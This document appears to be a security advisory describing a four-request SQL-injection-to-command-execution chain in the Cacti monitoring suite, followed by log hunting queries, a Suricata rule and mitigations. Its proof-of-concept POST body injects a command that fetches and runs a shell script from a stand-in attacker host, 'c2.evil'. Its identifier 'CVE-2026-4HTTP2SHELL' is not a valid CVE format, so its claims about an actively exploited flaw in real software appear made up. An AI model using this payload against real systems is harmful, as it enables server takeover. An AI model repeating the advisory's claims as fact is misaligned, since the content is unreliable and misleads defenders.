Cacti Network Monitoring "4HTTP2SHELL" (CVE-2026-4HTTP2SHELL): Unauthenticated 4-Request Remote Code Execution Zero-Day via Stacked SQLi and Real-Time Poller popen()
CVE-2026-4HTTP2SHELL (Zero-Day Public Disclosure) (CWE-89 SQL Injection / CWE-78 OS Command Injection / CWE-284 Improper Access Control)
Severity: CRITICAL (UNAUTHENTICATED PRE-AUTH RCE IN 4 HTTP REQUESTS) (CVSS 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H))
Threat Actor: Disclosed by ek0ms savi0r with Public PoC; Wild Scanners & Exploitation Observed
Status: Actively Exploited Zero-Day; Upstream Hotfix Released Nov 28; Public Exploit Circulating
Affected Systems: Cacti Core 1.2.31 and prior versions with Guest access enabled
Fixed In: Cacti 1.2.31-hotfix / Commit e7b10fa2
Over the holiday weekend, security researcher ek0ms savi0r released full technical details and a weaponized proof-of-concept exploit for an unpatched vulnerability chain dubbed "4HTTP2SHELL" (also tracked as "4HTTP2ROOT") affecting the widely used open-source network monitoring suite Cacti (version 1.2.31). The exploit allows an unauthenticated remote attacker to execute arbitrary operating system commands under the web server's user account in exactly four HTTP requests. The vulnerability relies on Cacti’s optional built-in guest account feature (frequently left enabled in enterprise Network Operations Centers to display read-only monitoring dashboards). By combining an unvalidated profile preference update, a second-order stacked SQL injection, and a call to PHP’s popen() function inside the real-time graphing poller, an attacker achieves interactive remote shell access within milliseconds.

Technical Deconstruction of the 4-Request Exploit Chain
The beauty and danger of 4HTTP2SHELL lies in its elegant combination of low-privilege configuration persistence and delayed command execution:
Request 1 & 2: Authenticating as Guest & Seeding the Payload
First, the attacker requests a session token from Cacti. If the administrator has enabled the guest user account, the application assigns a valid session without prompting for credentials. The attacker then transmits an HTTP POST request to /auth_profile.php to update user preferences:
POST /cacti/auth_profile.php HTTP/1.1
Host: target.internal
Cookie: Cacti=attacker_session_cookie;
Content-Type: application/x-www-form-urlencoded
preview_graphs_per_page=1; UPDATE poller_item SET command='curl -s http://c2.evil/rev.sh|sh' WHERE local_data_id=1;--&action=saveWhile the interface expects an integer indicating the number of graphs to render per page, auth_profile.php accepts the parameter as a raw string and writes it directly into the user’s session settings database row without typecasting or parameter validation.
Request 3: Triggering the Second-Order Stacked SQL Injection
Next, the attacker requests /graph_view.php. When generating the graph grid, the application queries the user's saved preview_graphs_per_page preference and concatenates it directly into an internal SQL query:
SELECT * FROM graph_templates_graph LIMIT 0, [injected_string];Because Cacti utilizes a database abstraction driver configured with multi-query support enabled by default, the database server treats the semicolon as a query separator. The injected UPDATE poller_item ... statement executes immediately, overwriting the command field of the active polling item associated with data source ID 1.
Request 4: Triggering Real-Time Poller popen() Execution
Finally, the attacker issues a GET request to /graph_realtime.php?local_data_id=1. This utility endpoint generates live SVG graph updates by directly retrieving the command associated with the target data source from poller_item and executing it via PHP:
$command = db_fetch_cell("SELECT command FROM poller_item WHERE local_data_id = " . $local_data_id);
$fp = popen($command, "r");
while (!feof($fp)) {
$buffer .= fgets($fp, 4096);
}
pclose($fp);The overwritten command fires instantly under the privileges of the web server (typically www-data, apache, or cacti). If the poller cron daemon is running as root, lateral privilege escalation follows shortly thereafter.
Detection Telemetry & Threat Hunting Indicators
Web Server Access Log Hunting
Search access logs for rapid sequential requests from identical IP addresses exhibiting the 4-step signature within a 5-second window:
grep -E "(auth_profile.php|graph_view.php|graph_realtime.php)" /var/log/nginx/access.log | awk '{print $1, $4, $7}'MySQL / MariaDB Audit Query
Inspect the poller_item table for unauthorized shell commands, base64 blobs, or URL downloads:
SELECT local_data_id, rrd_name, command
FROM poller_item
WHERE command LIKE '%sh%'
OR command LIKE '%curl%'
OR command LIKE '%wget%'
OR command LIKE '%python%';Suricata Signature
alert http any any -> $HTTP_SERVERS any (
msg:"COLIBRISEC Cacti 4HTTP2SHELL Stacked SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/auth_profile.php"; http_uri;
content:"preview_graphs_per_page="; http_client_body;
content:"UPDATE"; nocase; http_client_body;
content:"poller_item"; nocase; http_client_body;
classtype:web-application-attack;
sid:20264002; rev:1;
)Emergency Mitigations & Hardening Playbook
- Disable Guest Account Immediately: In the Cacti web interface, navigate to Console → Configuration → Users. Select the Guest user account and uncheck the Enabled checkbox. This breaks Request 1 of the exploit chain.
- Restrict Network Exposure: Cacti web interfaces should never be exposed to the public internet. Restrict access via perimeter firewalls or VPNs to dedicated network administrator subnets.
- Process Auditing: Inspect process trees using
auditdor EDR sensors to flag anysh,bash, orcurlprocesses spawned as child processes ofphp-fpmorhttpd.
Hotfix Application: If running Cacti 1.2.31, apply the patch released in commit e7b10fa2 to enforce strict integer casting on profile parameters in auth_profile.php:
set_request_var('preview_graphs_per_page', intval(get_nfilter_request_var('preview_graphs_per_page')));